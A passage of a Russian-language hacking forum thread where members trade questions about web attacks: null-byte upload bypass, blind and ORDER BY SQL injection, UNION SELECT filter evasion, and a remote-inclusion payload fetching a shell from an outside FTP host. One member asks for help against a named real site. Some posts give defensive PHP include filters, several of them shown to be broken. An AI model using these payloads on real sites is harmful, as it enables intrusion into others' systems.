Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    двойное расширение не катит, пробовал. обрезать нульбайтом у меня получается так shell.%00.php не загружается.
     
  2. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Pashkela у меня так ничего не показывает. Скажи как найти принтабельное поле?
    Подставлять вместо каждой цифры? И можно ли как-то вывести эти данные так как написал я?
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    CyberHunter, это слепая инъекция. Принтабельных полей тут нет, вывода, соответственно, тоже.
     
  4. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    И что делать в таких случаях? Где можно об этом почитать?
     
  5. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Дайте плз кто-нибудь ссылку на инфу о слепых инъекциях.
     
  6. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    https://forum.antichat.ru/showthread.php?t=119047
     
  7. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    ..
     
    #11747 Дирижабль, 11 Mar 2010
    Last edited: 11 Mar 2010
  8. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    http://www.gymvaruhuset.com/ скажите с чем имею дело? как быть с таким сайтом?
     
  9. DrakonSerg

    DrakonSerg Member

    Joined:
    16 Apr 2009
    Messages:
    66
    Likes Received:
    17
    Reputations:
    -1
    проблема в том, что любой автоматический сканер уязвимостей (Xspider. Acunetix и тд) при проверке показывает все порты (абсолютно все с первого до 9999 го), а после начинает их проверять на уязвимости. Что это и как бороться?
    Вчера еще такого не было.
     
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    А что ты хочешь то?

    Портов есть 65535, а не 9999. И, кстати, не юзай сканеры.
     
    1 person likes this.
  11. DrakonSerg

    DrakonSerg Member

    Joined:
    16 Apr 2009
    Messages:
    66
    Likes Received:
    17
    Reputations:
    -1
    Обоим ответы дал расширенные. Гуру...
    Может кто знает? Хотелось бы узнать ответ на мой вопрос, а не наставление, чем мне пользоваться
     
  12. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    ребята подскажите как в таком случае,защитится от инклуда?
    <?
    if ($page=="") $page="any.htm";
    include($page);
    ?>
    пробовал

    //защита от ядовитого нуля
    //if (!get_magic_quotes_gpc())
    //$page=addslashes($page);

    //добавляем расширение пхп
    include($page.'.php');
    но тогда к "any.htm" добавляется .php
    может исключения както можно зделать? или еще что попроще...
     
  13. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Не забываем о _https://forum.antichat.ru/thread98525.html

    PHP:
     switch($page) {
        case 
    'page1':
        include(
    "page1.html");
        break;

        case 
    'page2':
        include(
    "page2.html");
        break;

        case 
    'page3':
        include(
    "page3.html");
        break;

        ...
         
        default:
        include(
    "home.html");
        break;
    }
     
    1 person likes this.
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196


    PHP:
    <?
    if (
    $page=="") {
    $page="any.php";
    include(
    $page);
    }else{
    str_repalce('.'''$page);
    str_repalce('\', '', $page);
    if(file_exists($page)){
    include($page);
    }
    }
    ?>
    самый простой способ.
    Ну или как выше описали, при помощи switch-ей
     
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    php?id=1+union+select+1,2,3,4,5+--+
    нормально
    php?id=1+union+select+1,2,3,4,5+From+--+
    уже не обрабатывается,
    какие идейки по поводу фильтрации from-а, пробовал отправлять постом, не сработало, регистрами баловался тоже нулевой эффект
     
  16. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Угу, этот способ просто класс :)
    file.php?page=ftp://vasa:[email protected]/shell.php

    PS Я так полагаю в str_replace ты просто опечатался, как и в '\', а то вообще работать не будет.
     
  17. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    почему? точка вырезается же, с ftp не проканает.

    А "\" вырезается, чтобы не передать в хексе путь

    \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 = /etc/passwd


    Про опечатку - действительно два слеша надо, т.к. экранирование.

    PHP:
    <? 
    if (
    $page=="") { 
    $page="any.php"
    include(
    $page); 
    }else{ 
    str_replace('.'''$page); 
    str_replace('/'''$page); // прямые тоже  вырезать
    str_replace('\\'''$page); 
    if(
    file_exists($page)){ 
    include(
    $page); 


    ?>
     
    #11757 попугай, 12 Mar 2010
    Last edited: 12 Mar 2010
    1 person likes this.
  18. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    попугай, ничего твой "фильтр" не вырезает. Проверь сам ;)

    PHP:
    if ($page=="") {  
    $page="any.php";  
    include(
    $page);  
    }else{  
    str_replace('.'''$page);  
    str_replace('/'''$page); // прямые тоже  вырезать 
    str_replace('\\'''$page);  
    if(
    file_exists($page)){  
    include(
    $page);  
    }  
    }

    //test.php?page=../xek.txt
    //test.php?page=ftp://vasa:[email protected]/shell.php  
    Проверял бы..
     
    1 person likes this.
  19. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    PHP:
    $page $_GET['page'];

    добавь


    Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу.

    Вот так будет полностью в-общем.


    PHP:
    <?php
    $page 
    $_GET['page'];

    if (
    $page=="") {   
    $page="any.php";   
    include(
    $page);   
    }else{   
    $page str_replace('.'''$page);   
    $page str_replace('/'''$page); 
    $page str_replace(':'''$page);   
    $page str_replace('\\'''$page);   
    if(
    file_exists($page)){   
    include(
    $page);   
    }   
    }
    ?>

    Strilo4ka, да это не идея, это обычная практика.
     
    #11759 попугай, 12 Mar 2010
    Last edited: 12 Mar 2010
    3 people like this.
  20. Jerri

    Jerri Elder - Старейшина

    Joined:
    12 Jul 2009
    Messages:
    136
    Likes Received:
    377
    Reputations:
    22
    Есть запрос -
    Code:
    ... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15
    Можно ли провести sql-inj , и как? :confused:
     
Thread Status:
Not open for further replies.